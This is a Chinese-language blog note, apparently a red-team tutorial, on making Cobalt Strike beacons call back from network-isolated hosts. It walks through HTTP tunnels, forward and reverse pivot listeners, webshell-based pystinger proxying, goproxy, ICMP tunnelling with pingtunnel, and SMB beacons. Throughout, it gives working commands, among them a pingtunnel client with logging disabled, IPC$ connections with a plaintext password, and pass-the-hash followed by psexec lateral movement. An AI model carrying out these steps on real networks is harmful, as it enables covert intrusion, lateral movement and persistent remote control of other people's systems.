首页 笔记



1 正向连接

主要针对入口和内网都不出网的机器。如果没有已经上线的内网机器,可以使用Neo-reGeorg之类的HTTP隧道,本机上线cs。入口机/不出网的内网机正向shell监听端口,将beacon代理进内网使用cs的connect请求能连接正向shell的监听端口

1.1 环境信息

27919-zpk29fu6f4.png

公网C2服务器
本机:192.168.236.131(做跳板机,通过HTTP隧道连通内网)
目标机(未上线):192.168.199.130(不出网,提供web服务)

1.2 Neo-reGeorg

流量路线:CS流量->本机beacon->本机SOCKS5->HTTP隧道->内网->内网beacon

Neo-reGeorg、reGeorg的HTTP隧道在这里偶尔会出现跳板机(本机)直接与c2服务器断开的情况,这也导致了内网机与cs断连

1.目标机正常上正向代理后,本机上cs
14068-6ud22g9qmy6.png

2.本机proxifier代理进目标机192.168.199.130的内网
29029-jywnctr749c.png

3.cs创建正向监听
77529-owo6hrk5uzd.png

4.创建个正向的马,只能选择stageless Beacon

Stager型:只包含简单的加载逻辑部分,stager通过将c2的payload加载进内存从而实现pe加载,这种加载方式也就是反射型DLL加载。

Stageless型:stager+payload全写死在木马中,相比较于Stager型体积更大,特征码更明显。

31863-ijnqqk7o0ot.png

5.在目标机上执行Beacon,可看到监听12345成功
91765-6u5wotqkp.png

6.本机Beacon下connect主动连接到目标机

#连接
connect 192.168.199.130 12345
#取消连接
unlink 192.168.199.130

可以看到目标机192.168.199.130成功通过本地机上线
02874-ezry1nn4axj.png

2 反向上线

使用已经上线的内网机做跳板中转流量

2.1 环境信息

77691-y2ouzw91k09.png

c2服务器:192.168.199.132
内网主机1(已上线):192.168.199.130、169.254.167.241(跳板机,出网,提供web服务,能连通内网2)
内网主机2(未上线):169.254.248.62(不出网,不能连通内网主机1)

2.2 上线流程

1.主机1正常上线,然后"Pivoting->Listener"创建反向端口转发监听器
31895-0fqdluzwjgbu.png
53457-7cxs6w2a5b.png

2.使用该监听器生成stageless Beacon
45308-im5s8mrog2e.png

3.在内网机器2上执行后即可上线
可利用IPC$,使用PsExec或计划任务等方式进行执行。需要注意的是使用在创建或删除psexec服务时会产生大量的日志
01762-tyfaeu6bg6.png

3 毒刺(pystinger)反向上线

毒刺(pystinger)通过webshell实现内网SOCK4代理,端口映射。可直接用于metasploit-framework,viper,cobalt strike上线。主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本

项目地址:https://github.com/FunnyWolf/pystinger

适用条件:在只能访问web服务且入口机器不出网的情况下可以使其上线cs;内网其他机器能访问入口机器,且不能出网时可以上线

注:客户端只能用linux,这里试过客户端为windows,没成功,建立不起tcp连接,暂不清楚原因

3.1 原理简述

44165-ltsdiytur2.png

流量路线(数据带回通过http应答):CS流量<->stinger_client<->webshell(进行中转)<->stinger_server<->beacon

简单理解:攻击机与目标机的流量转发通过webshell,stinger_server用于建立连接并对数据做处理,stinger_client用来处理webshell响应包的数据,然后与CS/MSF的listener建立TCP连接并把数据转发过去

3.2 环境信息

92874-z0lraym5mv.png

这里内网主机2开了防火墙,也访问不到攻击机IP,懒得再配环境就当做只与内网主机1连通的机器了
攻击机(C2服务器):192.168.236.135(ubuntu)
不出网主机1(未上线):192.168.199.130(Windows,不出网,提供外网WEB服务)
不出网主机2(未上线):192.168.199.131(Windows,不出网,能连通内网主机2)

注:这里不出网机器2需要能够连通不出网主机1的,因为不出网机器2的流量需要转发到不出网主机1的60020端口经由stinger_server处理后交给webshell进行中转

3.3 上线流程

1.首先将对应脚本放至主机1的web路径下,正常返回UTF-8
91608-wkn9smrqvrl.png

2.在不出网主机1上执行stinger_server.exe
蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端,默认会监听60010和60020端口,60020用于CS/MSF的listener进行通信。
注:不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

#单主机上线
start stinger_server.exe
#多主机上线
start stinger_server.exe 0.0.0.0

12621-qrhmanstoa.png

3.攻击机(即c2服务器)上执行

./stinger_client -w http://192.168.199.130/proxy.php -l 0.0.0.0 -p 60000

执行后效果如下:

  • 攻击机的6000端口开了个192.168.199.130所在内网的socks4a代理
  • 将内网主机1的60020端口映射到攻击机的60020(默认为60020)

33830-l3myj6gnf1.png
20001-7fxfjqs5ue5.png

4.CS监听
这里分了单主机上线和多主机上线,都一样的,最终流量都是要到stinger_server端的60020端口

单主机(上线不出网主机1)
配置IP:127.0.0.1
端口填上方客户端RAT Config的端口,默认为60020
45592-42kx41idxcj.png

生成马后在内网不出网机器上执行即可上线
19510-k9el0vg0o3.png

客户端上可看到建立了TCP连接
23838-1phhzmkox7p.png

多主机(上线不出网主机2)
配置IP:内网不出网主机1的IP(即运行stinger_server端的那台机器)
相当于将stinger_server那台机器做跳板,所有的流量都要先到它的60020进行处理中转
05662-4ywm720p62g.png

生成马后在内网机器2上执行即可上线
30558-5ge8p243m2y.png

4 goproxy

比较稳定

4.1 反向马上线

入口机器出网,内网互通,但内网机器不出网

4.1.1 环境信息

37452-408133yfctp.png

c2服务器:192.168.199.132
内网主机1(已上线):192.168.199.130、169.254.167.241(跳板机,出网,提供web服务)
内网主机2(未上线):169.254.248.62(不出网,能连通内网主机1)

4.1.2 上线流程

上线路线为:内网机器2->内网跳板机1(通过1080的代理)->c2服务器

1.内网主机1上开http代理

proxy.exe http -t tcp -p "0.0.0.0:1080" --daemon

21232-5wpxv1ruoni.png

2.配置cs监听器
IP:C2服务器ip
HTTP Proxy:跳板机开的代理地址,这里为http://169.254.167.241:1080
80995-8ll1q3wtjok.png

3.生成stageless的马
52969-curqutf526b.png

4.内网主机2上执行木马,成功上线cs
41831-2avdajz2hq6.png

4.2 正向马上线

入口机器出网,入口机器能连通内网机器,但内网机器不能连通入口机器。这里使用的方法和第一个类似,只是跳板为内网主机1而不是本机

4.2.1 环境信息

57422-rnilf6upoy.png

c2服务器:192.168.199.132
内网主机1(已上线):192.168.199.130、169.254.167.241(跳板机,出网,提供web服务,能连通内网2)
内网主机2(未上线):169.254.248.62(不出网,不能连通内网主机1)

4.2.2 上线流程

1.正常上线内网主机1

2.CS创建正向TCP监听
60448-c74tz8krrp5.png

3.生成stageless Beacon,并在内网主机2中运行
84043-fxqeyb3zcn.png

4.在内网主机1的beacon中执行connect连接主机2即可成功上线

connect 169.254.248.62 12345

18538-7sq9fnywb6q.png

5 仅ICMP出网

出站规则禁用了TCP,放行了ICMP
78474-hc679w81gc5.png

98263-ltzwo6zz0bj.png

5.1 环境信息

52781-ucbv4zixrvb.png

公网C2服务器
内网主机:192.168.236.131(仅ICMP出网)

5.2 pingtunnel

pingtunnel可以将tcp/udp/sock5流量伪装成icmp流量进行转发
下载地址:https://github.com/esrrhs/pingtunnel

1.开启服务端
这里直接在c2服务器上执行,也可以在其他服务器开启pingtunnel服务端

./pingtunnel -type server

2.内网主机执行
内网主机监听9999端口,将到该端口的流量通过icmpserver转发到c2服务器的7777端

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t C2_Server_IP:7777 -tcp 1 -noprint 1 -nolog 1

3.配置C2 Listener
监听器需要配置两个

  • 127.0.0.1:9999,用于客户端运行的beacon,将beacon流量转到9999端口
  • C2_Server_IP:7777,最终通过icmpserver转发的流量会到这个监听器端口

69164-qw2jlcvp4rh.png

4.生成stageless Beacon
监听器选择127.0.0.1那一个
89985-3bn78dkx8eo.png

5.然后在内网机器上执行,即可上线成功
53639-h1kbcsacmgw.png

6 SMB Beacon

SMB Beacon使用命名管道与父级Beacon进行通讯,流量都分封装在SMB协议中,所以不需要目标机能连通已上线的内网主机,只需要已上线的内网主机能与目标机建立IPC连接即可。

使用条件:

  • 使用SMB Beacon的主机必须能接收445端口上的连接
  • 利用SMB Beacon横向必须有目标的管理员组的权限用户或拥有管理员组权限的凭证

已经有一台内网机器上线,另一台内网机器不出网,但是c2那台能和这台SMB 445连接

6.1 环境信息

85779-lohxvehtd9t.png

C2服务器:192.168.236.135
内网主机1(已上线):192.168.236.133、169.254.167.241(可出网)
内网主机2(未上线):169.254.248.62(配置防火墙仅允许SMB协议使用的端口入站,禁止任何协议出站)
96922-qqxllze4g8.png

6.2 上线流程

1.建立SMB Beacon的监听SMB-Beacon
47935-i2rtbgp1hh.png

2.上线SMB Beacon
已有明文密码的情况

#建立IPC$连接
shell net use \\169.254.248.62 "test123" /u:administrator
#psexec上线cs,这里使用的powershell版本
jump psexec_psh 169.254.248.62 SMB-Beacon
#取消连接
unlink 169.254.248.62

13932-mjqqa8d5qcg.png

有密码hash情况下
利用pth建立IPC连接后使用psexec上线

#还原初始令牌
rev2self
#PTH
pth DESKTOP-AK13O1K\administrator c5a237b7e9d8e708d8436b6148a25fa1
#上线
jump psexec_psh 169.254.248.62 SMB-Beacon
#取消连接
unlink 169.254.248.62

71605-nncgc6kggtc.png

也可在探测目标存活后选择"View->Targets->对目标右键->Jump->psexec"
53260-ymcjkdahc9d.png

如果在最后使用psexec报错:
[-] Could not open service control manager on DESKTOP-AK13O1K: 1722
[-] Could not connect to pipe (\DESKTOP-AK13O1Kpipestatus_e8c2): 53
[-] Could not connect to pipe: 53
可以将最后一步psexec操作的主机名换为IP,即可上线

7 参考

cs利用smb上线出网与不出网主机
CS 4.0 SMB Beacon
内网渗透--突破安全策略上线CS
红队攻防之特殊场景上线cs和msf



文章评论

目录